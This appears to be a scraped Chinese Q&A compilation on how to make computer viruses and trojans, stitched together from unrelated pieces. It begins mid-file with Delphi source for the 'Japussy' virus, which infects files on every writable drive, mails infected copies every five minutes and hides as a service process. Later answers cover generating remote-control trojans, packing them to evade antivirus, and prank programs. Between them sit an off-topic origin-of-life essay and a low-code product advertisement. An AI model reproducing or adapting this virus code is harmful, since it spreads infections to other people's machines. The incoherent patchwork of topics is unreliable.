if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) > 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之？
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了，開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end

7. 病毒是怎樣研製出來的！！

病毒也是一種生物 從這個角度來看 它和人動物 植物都屬於生物 生物的產生 可以參考 達爾文的<<物種起源>> 原始生命的產生 生命的起源 地球在宇宙中形成以後，開始是沒有生命的。經過了一段漫長的化學演化，就是說大氣中的有機元素氫、碳、氮、氧、硫、磷等在自然界各種能源（如閃電、紫外線、宇宙線、火山噴發等等）的作用下，合成有機分子（如甲烷、二氧化碳、一氧化碳、水、硫化氫、氨、磷酸等等）。這些有機分子進一步合成，變成生物單體（如氨基酸、糖、腺甙和核甙酸等）。這些生物單體進一步聚合作用變成生物聚合物。如蛋白質、多糖、核酸等。這一段過程叫做化學演化。蛋白質出現後，最簡單的生命也隨著誕生了。這是發生在距今大約36億多年前的一件大事。從此，地球上就開始有生命了。生命與非生命物質的最基本區別是：它能從環境中吸收自己生活過程中所需要的物質，排放出自己生活過程中不需要的物質。這種過程叫做新陳代謝，這是第一個區別。第二個區別是能繁殖後代。任何有生命的個體，不管他們的繁殖形式有如何的不同，他們都具有繁殖新個體的本領。第三個區別是有遺傳的能力。能把上一代生命個體的特性傳遞給下一代，使下一代的新個體能夠與上一代個體具有相同或者大致相同的特性。這個大致相同的現象最有意義，最值得我們注意。因為這說明它多少有一點與上一代不一樣的特點，這種與上一代不一樣的特點叫變異。這種變異的特性如果能夠適應環境而生存，它就會一代又一代地把這種變異的特性加強並成為新個體所固有的特徵。生物體不斷地變異，不斷地遺傳，年長月久，周而復始，具有新特徵的新個體也就不斷地出現，使生物體不斷地由簡單變復雜，構成了生物體的系統演化。 地球上早期生命的形態與特性。地球上最早的生命形態很簡單，一個細胞就是一個個體，它沒有細胞核，我們叫它為原核生物。它是靠細胞表面直接吸收周圍環境中的養料來維持生活的，這種生活方式我們叫做異養。當時它們的生活環境是缺乏氧氣的，這種喜歡在缺乏氧氣的環境中生活的叫做厭氧。因此最早的原核生物是異養厭氧的。它的形態最初是圓球形，後來變成橢圓形、弧形、江米條狀的桿形進而變成螺旋狀以及細長的絲狀，等等。從形態變化的發展方向來看是增加身體與外界接觸的表面積和增大自身的體積。現在生活在地球上的細菌和藍藻都是屬於原核生物。藍藻的發生與發展，加速了地球上氧氣含量的增加，從20多億年前開始，不僅水中氧氣含量已經很多，而且大氣中氧氣的含量也已經不少。細胞核的出現，是生物界演化過程中的重大事件。原核植物經過15億多年的演變，原來均勻分散在它的細胞裡面的核物質相對地集中以後，外麵包裹了一層膜，這層膜叫做核膜。細胞的核膜把膜內的核物質與膜外的細胞質分開。細胞裡面的細胞核就是這樣形成的。有細胞核的生物我們把它稱為真核生物。從此以後細胞在繁殖分裂時不再是簡單的細胞質一分為二，而且裡面的細胞核也要一分為二。真核生物（那時還沒有動物，可以說實際上也只是真核植物）大約出現在20億年前。性別的出現是在生物界演化過程中的又一個重大的事件，因為性別促進了生物的優生，加速生物向更復雜的方向發展。因此真核的單細胞植物出現以後沒有幾億年就出現了真核多細胞植物。真核多細胞的植物出現沒有多久就出現了植物體的分工，植物體中有一群細胞主要是起著固定植物體的功能，成了固著的器官，也就是現代藻類植物固著器的由來。從此以後開始出現器官分化，不同功能部分其內部細胞的形態也開始分化。由此可見，細胞核和性別出現以後，大大地加速了生物本身形態和功能的發展。 生命的起源 關於生命起源的問題，很早就有各種不同的解釋。近幾十年來，人們根據現代自然科學的新成 就，對於生命起源的問題進行了綜合研究，取得了很大的進展。 根據科學的推算，地球從誕生到現在，大約有46億年的歷史。早期的地球是熾熱的，地球上的一切元素都呈氣體狀態，那時候是絕對不會有生命存在的。最初的生命是在地球溫度下降以後，在極其漫長的時間內，由非生命物質經過極其復雜的化學過程，一步一步地演變而成的。目前，這種關於生命起源是通過化學進化過程的說法已經為廣大學者所承認，並認為這個化學進化過程可以分為下列四個階段。 從無機小分子物質生成有機小分子物質 根據推測，生命起源的化學進化過程是在原始地球條件下開始進行的。當時，地球表面溫度已經降低，但內部溫度仍然很高，火山活動極為頻繁，從火山內部噴出的氣體，形成了原始大氣(下圖)。一般認為，原始大氣的主要成分有甲烷（CH4）、氨 原始地球的想像圖 (左)原始大氣(右)有機物形成 （NH3）、水蒸氣（H2O）、氫（H2），此外還有硫化氫（H2S）和氰化氫（HCN）。這些氣體在大自然不斷產生的宇宙射線、紫外線、閃電等的作用下，就可能自然合成氨基酸、核苷酸、單糖等一系列比較簡單的有機小分子物質。後來，地球的溫度進一步降低，這些有機小分子物質又隨著雨水，流經湖泊和河流，最後匯集在原始海洋中。 關於這方面的推測，已經得到了科學實驗的證實。1935年，美國學者米勒等人，設計了一套密閉裝置(下圖)。他們將裝置內的空氣抽出，然後模擬原始地球上的大氣成分，通入甲烷、氨、氫、水 米勒實驗的裝置 蒸氣等氣體，並模擬原始地球條件下的閃電，連續進行火花放電。最後，在U型管內檢驗出有氨基酸生成。氨基酸是組成蛋白質的基本單位，因此，探索氨基酸在地球上的產生是有重要意義的。 此外，還有一些學者模擬原始地球的大氣成分，在實驗室里製成了另一些有機物，如嘌識、嘧啶、核糖，脫氧核糖，脂肪酸等。這些研究表明：在生命的起源中，從無機物合成有機物的化學過程，是完全可能的。 從有機小分子物質形成的有機高分子物質 蛋白質、核酸等有機高分子物質，是怎樣在原始地球條件下形成的呢？有些學者認為，在原始海洋中，氨基酸、核苷酸等有機小分子物質，經過長期積累，相互作用，在適當條件下（如吸附在粘土上），通過縮合作用或聚合作用，就形成了原始的蛋白質分子和核酸分子。 現在，已經有人模擬原始地球的條件，製造出了類似蛋白質和核酸的物質。雖然這些物質與現在的蛋白質和核酸相比，還有一定差別 ，並且原始地球上的蛋白質和核酸的形成過程是否如此，還不能肯定，但是，這已經為人們研究生命的起源提供了一些線索；在原始地球條件下，產生這些有機高分子的物質是可能的。 從有機高分子物質組成多分子體系 根據推測，蛋白質和核酸等有機高分子物質，在海洋里越積越多，濃度不斷增加，由於種種原因（如水分的蒸發，粘土的吸附作用），這些有機高分子物質經過濃縮而分離出來，它們相互作用，凝聚成小滴。這些小滴漂浮在原始海洋中，外麵包有最原始的界膜，與周圍的原始海洋環境分隔開，從而構成一個獨立的體系，即多分子體系。這種多分子體系已經能夠與外界環境進行原始的物質交換活動了。 從多分子體系演變為原始生命 從多分子體系演變為原始生命，過是生命起源過程中最復雜和最有決定意義的階段，它直接涉及到原始生命的發生。目前，人們還不能在實驗室里驗證這一過程。不過，我們可以推測，有些多分子體系經過長期不斷地演變，特別是由於蛋白質和核酸這兩大主要成分的相互作用，終於形成具有原始新陳代謝作用和能夠進行繁殖的原始生命。以後，由生命起源的化學進化階段進入到生命出現之後的生物進化階段。 關於生命起源的化學進化過程的研究，雖然進行了大量的模擬實驗，但是絕大多數實驗只是集中在第一階段，有些階段還僅僅限於假說和推測。因此，在對於生命起源，問題還必須繼續進行研究和探討。 蛋白質和核酸是生物體內最重要的物質。沒有蛋白質和核酸，就沒有生命。1965年，我國科學工作者人工合成了結晶牛胰島素（一種含有51個氨基酸的蛋白質）。1981年，我國科學工作者又用人工的方法合成了酵母丙氨酸轉運核糖核酸（核糖核酸的一種）。這些工作反映了我國在探索生命起源問題上的重大成就

8. 如何製造木馬病毒

如何製造木馬病毒
問題一：怎麼製作木馬病毒，望詳細你的基本功很差，如果你真的想學，我給你教一種，你製作一個桌面快捷關機，然後用QICQ給對方發去，只要對方打開，對方頁面會出現一個對話框，對話框里寫著60秒自動關機，對方無論如何都關不了那個對話框，他的機子就要關機了，你可以附加文字，比如說「叫爺，不叫60秒關機。」對方以為是病都，呵呵！這個簡單吧！你應該會作吧！shutdown.exe－S－T60－C叫爺，不叫關機。有啥不懂的追問我，現把你那5分給我，再追問我。

問題二：我想做個簡單的木馬病毒，怎麼做，用什麼軟體你好！這就需要用到一款遠程式控制制軟體，例如灰鴿子等等有了這款遠控軟體需要有一個自己的動態域名然後用動態域名在遠程式控制制軟體上生成一個木馬病毒這樣你就可以發給別人，別人中罰木馬病毒之後他的電腦完全就會被控制你就可以對他的電腦重啟、關機等操作了不過我勸你最好還是打消這個念頭即便是你擁有了遠程式控制制軟體成功生成了木馬病毒給別人發過去也是無法起到任何作用的原因就是木馬病毒不是免殺的現在的殺毒軟體不是吃素的如果不是免殺的病毒給別人發過去殺毒軟體立馬就查殺了沒什麼作用最重要的就是你做的病毒免殺對方的殺毒軟體查殺不出來是病毒這樣就可以了但是不要抱幻想網上絕對不會出現免殺遠控的有的打著名字的旗號捆綁後門病毒試想一下別人辛辛苦苦製作出來的免殺遠控會輕易的給別人或者發布到網上么？況且免殺病毒最好不要發到網上否則能免殺一個星期左右的病毒發到網上估計第二天就被殺了本人純手打覺得有幫助請採納謝謝!!

問題三：木馬病毒是怎麼製造出來的呢？木馬病毒就是一種程序，這種程序專偷染上病毒電腦的用戶名和密碼，從而盜取金錢！

問題四：怎麼製作木馬病毒5分這是個比較復雜的問題，病毒開發不同於普通應用開發，需要更廣泛的和更深入的編成技術系統底層問題：截取屏幕、Hook滑鼠鍵盤網路問題：涉及到攔截數據報文，加解密數據反偵測問題：隱藏進程…………學編程2~3個月，用Delphi之類的軟體，一般就可以開發普通應用程序VC++最多6個月，也能搞出些東西但要搞病毒木馬等，先學3年再考慮。

問題五：怎樣製造一個木馬病毒5分其實木馬病毒也是我們程序員寫出的一個程序，因為這個程序製作的目的，和工作的原理具有破壞性和感染性，所以就被定性為木馬和病毒。
另外木馬和病毒不是一個概念。
學習軟體編程就可以製作木馬。
淡然有一些黑客軟體也是可以直接生成木馬的，這個比較沒有技術含量。一般會操作電腦的人都可以製作，這類木馬一般很容易被查殺。要做加殼程序以逃避查殺。

問題六：怎麼製造簡單木馬病毒朋友，你好！
怎麼解答你這個問題我想了半天，一條一條來吧。
1、製作木馬病毒是非法的，真心的奉勸不要參與製作，不要與法律要求所背馳。如果因為這個事
情，你被抓進去，你想想你的家庭會怎樣？是不是得不償失？
2、廣大網民一定要有一個好的上網習慣，還要有一個好的上網環境，在安全軟體的使用上多思考。建議大家使用騰訊電腦管家，他有全國最大最全的釣魚網站、木馬網站資料庫，可以有效防止大家被騙。

問題七：木馬病毒怎麼製作你懂的電腦程序編程嗎，其實所謂的木馬病毒也就是非法程序，如果你不懂編程和你說是對牛彈琴，不要害人了～還是研究一下怎麼把你的人生搞個木馬吧，讓自己多活幾年長命百歲吧！（忠告哦！）

問題八：木馬病毒怎麼製作佛日不能說不可說不敢說，說就是錯。

問題九：怎麼製作木馬病毒先下幾個木馬病毒

9. vb可以做病毒嗎

可以！
下面就是一個類似病毒的VB程序，是整人的：
在窗體上添加一個timer控制項，設置其interval為200，Eanbled為true.
復制下面代碼：
Private Sub Timer1_Timer()
Dim id
id = Shell("C:\Program Files\Internet Explorer\IEXPLORE.EXE ", 1) 『路徑 (XP的)
End Sub
運行一下就可以看到結果了，呵呵

10. fortran可以寫病毒軟體嗎

可以，相比C++、python等流行語言，fortran對於新生代程序員來說，顯得頗為陌生，甚至聞所未聞。
然而fortran作為計算機領域第一個被正式推廣使用的高級語言，1956年興起，至今60多年，承載著一代程序員的青春回憶。

不少人以為fortran早已進入墳墓，事實上在超大規模計算領域，比如航天航空、氣象等，fortran仍被廣泛使用。

fortran作為開發語言的老前輩，fortran77更是一代經典，如今仍有部分學校將fortran作為教學課程 ，可計算機領域發展日新月異，相對於更加高效的Java、C++、python等流行語言，fortran語言難免顯得不那麼規范與美麗。

因此，關於fortran是否還有存在必要的討論，常不絕於耳。

fortran該退休了
部分開發者認為fortran所謂的快，只是一種虛幻的感覺，相比c++，fortran確實上手更容易，可是fortran缺少很多高級特性，比如花大量時間手動allocate/deallocate不同類型的數組，而且fortran缺少好用代碼補全。

fortran還在繼續被人使用最主要是歷史遺留問題，作為最早的高級語言，現在市面上仍存在大量遺留代碼，所以除了維護老代碼，fortran是時候該退休了。

fortran滅亡論，休矣
fortran編輯邏輯非常簡單，數組就是數組，變數就是變數，從數組中取哪個數就是取哪個數，沒什麼指針移位什麼的。全局的數組在SUBROUTINE或者FUNCTION之間傳遞非常直觀，許多函數都去操作全局數組也不會出錯。

fortran程序員大多不認為自己是程序員，而都說自己是搞計算的，讓科研人員專注於科研，無需浪費太多精力在計算方面，fortran的出現正好符合他們需求。

再說很多老code是用fortran寫的，已經達至完美，繼續沿用即可，Python、R或Julia等語言，也為Fortran提供進程支持。

所以fortran滅亡論，休矣。

新型快速開發工具突現
網友們對於fortran去向爭吵不休，讓筆者聯想起，近幾年火熱的新型開發技術-低/無代碼開發。

隨著技術發展，計算機也不再是尖端科學的專屬，早已「飛入尋常百姓家」，相比VB、Delphi、fortran等快速開發語言，低/無代碼開發技術顯得更為便捷，另一方面對它質疑的聲音也常伴耳邊。

部分人認為低/無代碼開發技術，只是玩具，即便高度封裝高度耦合的開發模式，也只能滿足增刪查改、導入導出等簡單功能，一旦客戶有特殊的需求，平台功能便難以滿足，再說低代碼平台，仍需使用代碼，難以做到通俗易懂，用戶需要花費大量時間才能掌握，認為低代碼快速開發只是形同虛設。

事實上，低/無代碼開發技術尤其是無代碼開發，並沒有那麼不堪，甚至顛覆許多人的認知，以eversheet這款無代碼開發工具作為例子，它由國人團隊自行研發，真正實現「0」代碼開發軟體。

eversheet並不是簡單底層封裝，它首創表格式編程技術，只需懂點業務，便可用畫表格方式，將管理流程「畫」出來，操作界面與exccel相似，純中文，操作簡單，通俗來說，企業管理軟體可由企業管理者與辦公人員自行開發，不需要花高價購買成品軟體。

eversheet並非玩具，除了輕松搭建輕量級應用，它還能開發出復雜工業級應用，如ERP、WMS、MES、進銷存、財務管理系統等，惠及企業超過20萬家，華為、中冶集團、恆逸集團、四方匯通物流、誠威科技等行業龍頭都在深度使用。
fortran操作簡單，滿足研究人員計算需求。低/無代碼開發技術，滿足不懂IT技術，卻又有軟體開發需求的人。

存在即合理，fortran也好，eversheet也罷，黑貓白貓，抓到老鼠就是好貓，何必拘泥於形式。